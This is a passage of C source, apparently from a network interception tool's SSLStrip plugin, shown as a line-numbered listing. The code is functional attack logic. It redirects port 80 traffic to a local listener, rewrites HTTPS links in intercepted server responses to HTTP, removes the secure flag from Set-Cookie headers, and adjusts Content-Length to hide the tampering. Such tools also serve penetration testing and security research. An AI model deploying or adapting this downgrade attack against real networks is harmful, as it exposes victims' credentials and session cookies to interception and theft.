975    DEBUG_MSG("SSLStrip: PO LEN : %ld Size: %ld", po->DATA.len, (size*nmemb));
976    DEBUG_MSG("SSLStrip: Copying %s", po->DATA.data);
977    if ((size*nmemb) < po->DATA.len) {
978       memcpy(ptr, po->DATA.data, size*nmemb);
979       return size*nmemb;
980    } else {
981       memcpy(ptr, po->DATA.data, po->DATA.len);
982       return po->DATA.len;
983    }
984 }
985 #endif
986 
987 
http_receive_from_server(char * ptr,size_t size,size_t nmemb,void * userdata)988 static u_int http_receive_from_server(char *ptr, size_t size, size_t nmemb, void *userdata)
989 {
990    struct http_connection *connection = (struct http_connection *)userdata;
991 
992 
993    if (connection->response->len == 0) {
994       //Initiailize buffer
995       SAFE_CALLOC(connection->response->html, 1, size*nmemb);
996       if (connection->response->html == NULL)
997          return 0;
998 
999       memcpy(connection->response->html, ptr, size*nmemb);
1000    } else {
1001       char *b;
1002 
1003       SAFE_CALLOC(b, 1, connection->response->len+(size*nmemb));
1004       BUG_IF(b == NULL);
1005 
1006       memcpy(b, connection->response->html, connection->response->len);
1007       memcpy(b+connection->response->len, ptr, size*nmemb);
1008 
1009       SAFE_FREE(connection->response->html);
1010       connection->response->html = b;
1011 
1012       //SAFE_REALLOC(connection->response->html, connection->response->len + (size*nmemb));
1013    }
1014 
1015    connection->response->len += (size*nmemb);
1016    //connection->response->html[connection->response->len] = '\0';
1017 
1018 
1019    return size*nmemb;
1020 }
1021 
EC_THREAD_FUNC(http_child_thread)1022 EC_THREAD_FUNC(http_child_thread)
1023 {
1024    struct packet_object po;
1025    int  ret_val;
1026    struct http_connection *connection;
1027 
1028    connection = (struct http_connection *)args;
1029    ec_thread_init();
1030 
1031    /* Get peer and set to non-blocking */
1032    if (http_sync_conn(connection) == -E_INVALID) {
1033       DEBUG_MSG("SSLStrip: Could not get peer!!");
1034       if (connection->fd != -1)
1035          close_socket(connection->fd);
1036       SAFE_FREE(connection->response);
1037       SAFE_FREE(connection->request);
1038       SAFE_FREE(connection);
1039       ec_thread_exit();
1040    }
1041 
1042 
1043    /* A fake SYN ACK for profiles */
1044    http_initialize_po(&po, NULL, 0);
1045    po.len = 64;
1046    po.L4.flags = (TH_SYN | TH_ACK);
1047    packet_disp_data(&po, po.DATA.data, po.DATA.len);
1048    http_parse_packet(connection, HTTP_SERVER, &po);
1049    http_initialize_po(&po, po.DATA.data, po.DATA.len);
1050 
1051 
1052    LOOP {
1053       http_initialize_po(&po, NULL, 0);
1054       ret_val = http_read(connection, &po);
1055       DEBUG_MSG("SSLStrip: Returned %d", ret_val);
1056       BREAK_ON_ERROR(ret_val, connection, po);
1057 
1058       if (ret_val == E_SUCCESS)  {
1059          /* Look in the https_links list and if the url matches, send to HTTPS server.
1060             Otherwise send to HTTP server */
1061               po.len = po.DATA.len;
1062               po.L4.flags |= TH_PSH;
1063 
1064          /* NULL terminate buffer */
1065          po.DATA.data[po.DATA.len] = 0;
1066 
1067          packet_destroy_object(&po);
1068               packet_disp_data(&po, po.DATA.data, po.DATA.len);
1069 
1070               //DEBUG_MSG("SSLStrip: Calling parser for request");
1071               http_parse_packet(connection, HTTP_CLIENT, &po);
1072 
1073          http_handle_request(connection, &po);
1074       }
1075 
1076    }
1077 
1078    return NULL;
1079 
1080 }
1081 
http_remove_https(struct http_connection * connection)1082 static void http_remove_https(struct http_connection *connection)
1083 {
1084    char *buf_cpy = connection->response->html;
1085    size_t https_len = strlen("https://");
1086    size_t http_len = strlen("http://");
1087    struct https_link *l, *link;
1088    size_t offset = 0;
1089    int rc;
1090    int ovector[30];
1091    char changed = 0;
1092    char *new_html, *url;
1093    size_t new_size = 0;
1094    size_t size = connection->response->len;
1095    int url_len, match_start, match_end = 0;
1096 
1097    if(!buf_cpy)
1098       return;
1099 
1100    SAFE_CALLOC(new_html, 1, connection->response->len);
1101    BUG_IF(new_html==NULL);
1102 
1103    while(offset < size && (rc = pcre_exec(https_url_pcre, NULL, buf_cpy, size, offset, 0, ovector, 30)) > 0) {
1104       match_start = ovector[0];
1105       match_end = ovector[1];
1106 
1107       /* copy 1:1 up to match */
1108       memcpy(new_html + new_size, buf_cpy + offset, match_start - offset);
1109       new_size += match_start - offset;
1110 
1111       /* extract URL w/o https:// */
1112       url_len = match_end - match_start - https_len;
1113       url = strndup(buf_cpy + match_start + https_len, url_len);
1114 
1115       if(url == NULL)
1116       {
1117          USER_MSG("SSLStrip: http_remove_https: url is NULL\n");
1118          return;
1119       }
1120 
1121       /* copy "http://" */
1122       memcpy(new_html + new_size, "http://", http_len);
1123       new_size += http_len;
1124 
1125       /* append URL */
1126       memcpy(new_html + new_size, url, url_len);
1127       new_size += url_len;
1128 
1129       /* set new offset for next round */
1130       offset = match_end;
1131 
1132       //Add URL to list
1133 
1134       char found = 0;
1135       LIST_LOCK;
1136       LIST_FOREACH(link, &https_links, next) {
1137          if(!strcmp(link->url, url)) {
1138             found=1;
1139             break;
1140          }
1141       }
1142 
1143       LIST_UNLOCK;
1144 
1145       if(!found) {
1146          SAFE_CALLOC(l, 1, sizeof(struct https_link));
1147          BUG_IF(l==NULL);
1148 
1149          SAFE_CALLOC(l->url, 1, 1 + url_len);
1150          BUG_IF(l->url==NULL);
1151          memcpy(l->url, url, url_len);
1152          Decode_Url((u_char *)l->url);
1153          l->last_used = time(NULL);
1154          DEBUG_MSG("SSLStrip: Inserting %s to HTTPS List", l->url);
1155          LIST_INSERT_HEAD(&https_links, l, next);
1156       }
1157 
1158       SAFE_FREE(url);
1159 
1160       if (!changed)
1161          changed=1;
1162    }
1163 
1164 
1165    if (changed) {
1166       //Copy rest of data (if any)
1167       memcpy(new_html + new_size, buf_cpy + offset, size - offset);
1168       new_size += size - offset;
1169 
1170       /* replace response */
1171       SAFE_FREE(connection->response->html);
1172       connection->response->html = new_html;
1173       connection->response->len = new_size;
1174    } else {
1175       /* Thanks but we don't need it */
1176       SAFE_FREE(new_html);
1177    }
1178 
1179    /* Iterate through all http_request and remove any that have not been used lately */
1180    struct https_link *link_tmp;
1181    time_t now = time(NULL);
1182 
1183    LIST_LOCK;
1184 
1185    LIST_FOREACH_SAFE(l, &https_links, next, link_tmp) {
1186       if(now - l->last_used >= REQUEST_TIMEOUT) {
1187          LIST_REMOVE(l, next);
1188          SAFE_FREE(l);
1189       }
1190    }
1191 
1192    LIST_UNLOCK;
1193 
1194 }
1195 
http_parse_packet(struct http_connection * connection,int direction,struct packet_object * po)1196 static void http_parse_packet(struct http_connection *connection, int direction, struct packet_object *po)
1197 {
1198    FUNC_DECODER_PTR(start_decoder);
1199    int len;
1200 
1201    memcpy(&po->L3.src, &connection->ip[direction], sizeof(struct ip_addr));
1202    memcpy(&po->L3.dst, &connection->ip[!direction], sizeof(struct ip_addr));
1203 
1204    po->L4.src = connection->port[direction];
1205    po->L4.dst = connection->port[!direction];
1206 
1207    po->flags |= PO_FROMSSLSTRIP;
1208    /* get time */
1209    gettimeofday(&po->ts, NULL);
1210 
1211    switch(ip_addr_is_local(&PACKET->L3.src, NULL)) {
1212       case E_SUCCESS:
1213          PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL);
1214          PACKET->PASSIVE.flags |= FP_HOST_LOCAL;
1215          break;
1216       case -E_NOTFOUND:
1217          PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL;
1218          PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL;
1219          break;
1220       case -E_INVALID:
1221          PACKET->PASSIVE.flags = FP_UNKNOWN;
1222          break;
1223    }
1224 
1225    /* let's start fromt he last stage of decoder chain */
1226 
1227    //DEBUG_MSG("SSLStrip: Parsing %s", po->DATA.data);
1228    start_decoder = get_decoder(APP_LAYER, PL_DEFAULT);
1229    start_decoder(po->DATA.data, po->DATA.len, &len, po);
1230 }
1231 
http_initialize_po(struct packet_object * po,u_char * p_data,size_t len)1232 static void http_initialize_po(struct packet_object *po, u_char *p_data, size_t len)
1233 {
1234    /*
1235     * Allocate the data buffer and initialize
1236     * fake headers. Headers len is set to 0.
1237     * XXX - Be sure to not modify these len.
1238     */
1239 
1240 
1241    memset(po, 0, sizeof(struct packet_object));
1242 
1243    if (p_data == NULL) {
1244       SAFE_FREE(po->DATA.data);
1245       SAFE_CALLOC(po->DATA.data, 1, HTTP_MAX);
1246       po->DATA.len = HTTP_MAX;
1247       BUG_IF(po->DATA.data==NULL);
1248    } else {
1249       SAFE_FREE(po->DATA.data);
1250       po->DATA.data = p_data;
1251       po->DATA.len = len;
1252    }
1253 
1254    po->L2.header  = po->DATA.data;
1255    po->L3.header  = po->DATA.data;
1256    po->L3.options = po->DATA.data;
1257    po->L4.header  = po->DATA.data;
1258    po->L4.options = po->DATA.data;
1259    po->fwd_packet = po->DATA.data;
1260    po->packet     = po->DATA.data;
1261 
1262    po->L3.proto = htons(LL_TYPE_IP);
1263    po->L3.ttl = 64;
1264    po->L4.proto = NL_TYPE_TCP;
1265 
1266 }
1267 /* main HTTP listen thread, this will accept connections
1268  * destined to port 80  */
1269 
http_bind_wrapper(void)1270 static int http_bind_wrapper(void)
1271 {
1272    bind_port = EC_MAGIC_16;
1273    struct sockaddr_in sa_in;
1274 #ifdef WITH_IPV6
1275    struct sockaddr_in6 sa_in6;
1276    int optval = 1;
1277 #endif
1278 
1279    ec_thread_init();
1280 
1281    DEBUG_MSG("http_listen_thread: initialized and ready");
1282 
1283    main_fd = socket(AF_INET, SOCK_STREAM, 0);
1284    if (main_fd == -1) { /* oops, unable to create socket */
1285       DEBUG_MSG("Unable to create socket() for HTTP...");
1286       return -E_FATAL;
1287    }
1288    memset(&sa_in, 0, sizeof(sa_in));
1289    sa_in.sin_family = AF_INET;
1290    sa_in.sin_addr.s_addr = INADDR_ANY;
1291 
1292    do {
1293       bind_port++;
1294       sa_in.sin_port = htons(bind_port);
1295    } while (bind(main_fd, (struct sockaddr *)&sa_in, sizeof(sa_in)) != 0);
1296 
1297    if(listen(main_fd, 100) == -1) {
1298       DEBUG_MSG("SSLStrip plugin: unable to listen() on socket");
1299       return -E_FATAL;
1300    }
1301 
1302 #ifdef WITH_IPV6
1303    /* create & bind IPv6 socket on the same port */
1304    main_fd6 = socket(AF_INET6, SOCK_STREAM, 0);
1305    if (main_fd6 == -1) { /* unable to create socket */
1306       DEBUG_MSG("SSLStrip: Unable to create socket() for HTTP over IPv6: %s.",
1307             strerror(errno));
1308       return -E_FATAL;
1309    }
1310    memset(&sa_in6, 0, sizeof(sa_in6));
1311    sa_in6.sin6_family = AF_INET6;
1312    sa_in6.sin6_addr = in6addr_any;
1313    sa_in6.sin6_port = htons(bind_port);
1314 
1315    /* we only listen on v6 as we use dedicated sockets per AF */
1316    if (setsockopt(main_fd6, IPPROTO_IPV6, IPV6_V6ONLY,
1317             &optval, sizeof(optval)) == -1) {
1318       DEBUG_MSG("SSLStrip: Unable to set IPv6 socket to IPv6 only: %s.",
1319             strerror(errno));
1320       return -E_FATAL;
1321    }
1322 
1323    /* bind to IPv6 on the same port as the IPv4 socket */
1324    if (bind(main_fd6, (struct sockaddr *)&sa_in6, sizeof(sa_in6)) == -1) {
1325       DEBUG_MSG("SSLStrip: Unable to bind() IPv6 socket to port %d: %s.",
1326             bind_port, strerror(errno));
1327       return -E_FATAL;
1328    }
1329 
1330    /* finally set socket into listen state */
1331    if (listen(main_fd6, 100) == -1) {
1332       DEBUG_MSG("SSLStrip: Unable to listen() on IPv6 socket: %s.",
1333             strerror(errno));
1334       return -E_FATAL;
1335    }
1336 #else
1337    /* properly init fd even when not used - necessary for select call */
1338    main_fd6 = 0;
1339 #endif
1340 
1341    USER_MSG("SSLStrip plugin: bind 80 on %d\n", bind_port);
1342 
1343    if (ec_redirect(EC_REDIR_ACTION_INSERT, "http", EC_REDIR_PROTO_IPV4,
1344             NULL, 80, bind_port) != E_SUCCESS)
1345       return -E_FATAL;
1346 
1347 #ifdef WITH_IPV6
1348    if (ec_redirect(EC_REDIR_ACTION_INSERT, "http", EC_REDIR_PROTO_IPV6,
1349             NULL, 80, bind_port) != E_SUCCESS)
1350       return -E_FATAL;
1351 #endif
1352 
1353    return E_SUCCESS;
1354 
1355 }
1356 
http_wipe_connection(struct http_connection * connection)1357 static void http_wipe_connection(struct http_connection *connection)
1358 {
1359    DEBUG_MSG("SSLStrip: http_wipe_connection");
1360    close_socket(connection->fd);
1361 
1362    SAFE_FREE(connection->response->html);
1363    SAFE_FREE(connection->request->payload);
1364    SAFE_FREE(connection->request->url);
1365    SAFE_FREE(connection->request);
1366    SAFE_FREE(connection->response);
1367    SAFE_FREE(connection);
1368 }
1369 
http_remove_header(char * header,struct http_connection * connection)1370 void http_remove_header(char *header, struct http_connection *connection) {
1371    DEBUG_MSG("SSLStrip: http_remove_header");
1372    if (strstr(connection->response->html, header)) {
1373       char *r = strdup(connection->response->html);
1374       size_t len = strlen(connection->response->html);
1375 
1376       if(r == NULL)
1377       {
1378          USER_MSG("SSLStrip: http_remove_header: r is NULL\n");
1379          return;
1380       }
1381 
1382       char *b = strstr(r, header);
1383       char *end = strstr(b, "\r\n");
1384       end += 2;
1385 
1386       int header_length = end - b;
1387       len -= header_length;
1388 
1389       int start = b - r;
1390       char *remaining = strdup(end);
1391       BUG_IF(remaining==NULL);
1392 
1393       memcpy(r+start, remaining, strlen(remaining));
1394       SAFE_FREE(connection->response->html);
1395 
1396       connection->response->html = strndup(r, len);
1397       if(connection->response->html == NULL)
1398       {
1399          USER_MSG("SSLStrip: http_remove_header: connection->response->html is NULL\n");
1400          return;
1401       }
1402 
1403       connection->response->len = len;
1404 
1405       SAFE_FREE(remaining);
1406       SAFE_FREE(r);
1407    }
1408 }
1409 
http_remove_secure_from_cookie(struct http_connection * connection)1410 void http_remove_secure_from_cookie(struct http_connection *connection) {
1411    if (!strstr(connection->response->html, "Set-Cookie")) {
1412       return;
1413    }
1414 
1415    size_t newlen = 0;
1416    size_t pos = 0;
1417    char *buf_cpy = connection->response->html;
1418    char *new_html;
1419 
1420    SAFE_CALLOC(new_html, 1, connection->response->len);
1421    char changed = 0;
1422 
1423    regmatch_t match[4];
1424 
1425    while(!regexec(&find_cookie_re, buf_cpy, 4, match, REG_NOTBOL)) {
1426       memcpy(new_html+newlen, buf_cpy, match[1].rm_eo);
1427       newlen += match[1].rm_eo;
1428 
1429       memcpy(new_html+newlen, buf_cpy+match[3].rm_so, match[3].rm_eo - match[3].rm_so);
1430       newlen += match[3].rm_eo - match[3].rm_so;
1431 
1432       buf_cpy += match[0].rm_eo-2;
1433       pos += match[0].rm_eo-2;
1434       changed=1;
1435    }
1436 
1437    if (changed) {
1438       memcpy(new_html+newlen, buf_cpy, connection->response->len - pos);
1439       newlen += connection->response->len - pos;
1440 
1441       SAFE_FREE(connection->response->html);
1442 
1443       connection->response->html = new_html;
1444       connection->response->len = newlen;
1445    } else {
1446       SAFE_FREE(new_html);
1447    }
1448 }
1449 
http_update_content_length(struct http_connection * connection)1450 void http_update_content_length(struct http_connection *connection) {
1451    if (strstr(connection->response->html, "Content-Length: ")) {
1452       char *buf = connection->response->html;
1453       char *content_length = strstr(connection->response->html, "Content-Length:");
1454       content_length += strlen("Content-Length: ");
1455 
1456       char c_length[20];
1457       memset(&c_length, '\0', 20);
1458       snprintf(c_length, 20, "%lu", connection->response->len - (strstr(buf, "\r\n\r\n") + 4 - buf));
1459 
1460       memcpy(buf+(content_length-buf), c_length, strlen(c_length));
1461    }
1462 }
1463 
1464 // vim:ts=3:expandtab
1465